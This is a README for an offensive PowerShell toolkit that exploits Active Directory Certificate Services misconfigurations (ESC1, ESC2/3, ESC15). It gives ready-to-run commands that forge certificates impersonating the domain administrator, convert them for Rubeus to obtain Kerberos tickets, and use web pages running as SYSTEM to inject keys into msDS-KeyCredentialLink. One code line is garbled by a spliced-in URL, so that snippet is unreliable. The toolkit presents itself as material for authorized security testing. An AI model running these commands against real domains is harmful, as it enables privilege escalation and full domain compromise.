Certi-Bhai: AD CS Exploitation Toolkit

Certi-Bhai is a comprehensive collection of PowerShell exploitation tools for attacking Active Directory Certificate Services (AD CS) vulnerabilities. This toolkit implements various Escalation Scenarios (ESCs) that demonstrate critical security misconfigurations in ADCS environments.

📋 Table of Contents

• Overview
• Directory Structure
• Prerequisites
• Usage Guide
  • ESC1 - Overly Permissive Certificate Template
  • ESC2/3 - Certificate Request Agent
  • ESC15 - Vulnerable Web Enrollment
  • CSR Generation
  • IIS Privilege Escalation

🎯 Overview

Active Directory Certificate Services (AD CS) is often misconfigured, creating multiple attack vectors. Certi-Bhai provides practical exploitation scripts and utilities for security testing and research of common ADCS vulnerabilities.

Use responsibly and only in authorized test environments.

✅ Prerequisites

• Windows 7 / Windows Server 2008 or later
• PowerShell 3.0+
• Active Directory domain-joined system
• Appropriate permissions to request certificates
• Access to AD CS infrastructure
• .NET Framework 3.5+ (for ASP.NET scripts)

Required Modules

# Active Directory module (optional, for enhanced functionality)
Import-Module ActiveDirectory

🚀 Usage Guide

ESC1: Overly Permissive Certificate Template

Vulnerability: Certificate templates allow enrollment with arbitrary SubjectAltName (SAN) values.

What it does: Creates a certificate signed by an overly permissive template, allowing you to impersonate any user or computer in the domain.

Usage:

# Navigate to ESC1 directory
cd ESC1

# Run the exploitation script
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

Parameters:

• -subjectName: Full distinguished name (DN) of the target user
• -templateName: Name of the vulnerable certificate template
• -altName: Alternative name to request (username/computer)
• -pfxPass: Password for PFX export

Output: Base64-encoded PFX certificate for use with tools like Rubeus

Video Tutorial: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: Any Purpose/Certificate Request Agent Abuse

Vulnerability: Certificate Request Agents can request certificates on behalf of any user.

What it does: Enrolls a certificate as a Certificate Request Agent, then requests certificates for arbitrary principals.

Usage:

# Navigate to ESC3 directory
cd ESC3

# Run the exploitation script
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

Parameters:

• -templateName: Vulnerable request agent template
• -target_user: Principal to request certificate for
• -domain: Domain name
• -pfxPass: PFX password

Output: Administrator certificate (PFX) with base64 encoding

Video Tutorial: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: Misconfigured Schema Version 1 Template

Vulnerability: Application Policy Injection.

CSR Generation and Management

Quick CSR Generation

cd CSR_Generate

# Generate a certificate signing request
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

Submit CSR to Certificate Authority

# Submit CSR to CA
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

IIS Privilege Escalation

Certificate Management Interface

The cert.aspx web interface provides a user-friendly form to request a certificate from AD CS RPC endpoint:

http://your-iis-server/cert.aspx

LDAP Update Interface

Modify LDAP attributes through the web interface. This script basically used to perform inject blob in msDS-KeyCredentialLink attribute:

http://your-iis-server/ldap_update.aspx

Features:

• LDAP attribute filtering
• Object modification capabilities
• NT Authority\SYSTEM context execution

Quick Reference Commands

For ESC1 Exploitation

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

For ESC2/3 Post-Exploitation

# Convert PFX to usable format for Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/HEAD/:ToBase64String($cert.RawData)

Request TGT with Rubeus

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 Troubleshooting

Common Issues

Q: Script execution is blocked

# Run PowerShell as Administrator
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

Q: Certificate template not found

• Verify template name is correct
• Ensure you have permissions to request from template
• Check Certificate Authority logs

Q: LDAP connection fails

• Verify domain connectivity
• Check credentials
• Confirm ADSI access

📝 Technical Details

Certificate Request Process

1. Generate private key (2048-bit RSA)
2. Create certificate request (PKCS#10)
3. Set subject name and extensions
4. Submit to Certificate Authority
5. Retrieve issued certificate
6. Export as PFX with password

🤝 Contributing

Found an issue or have improvements? Please report responsibly.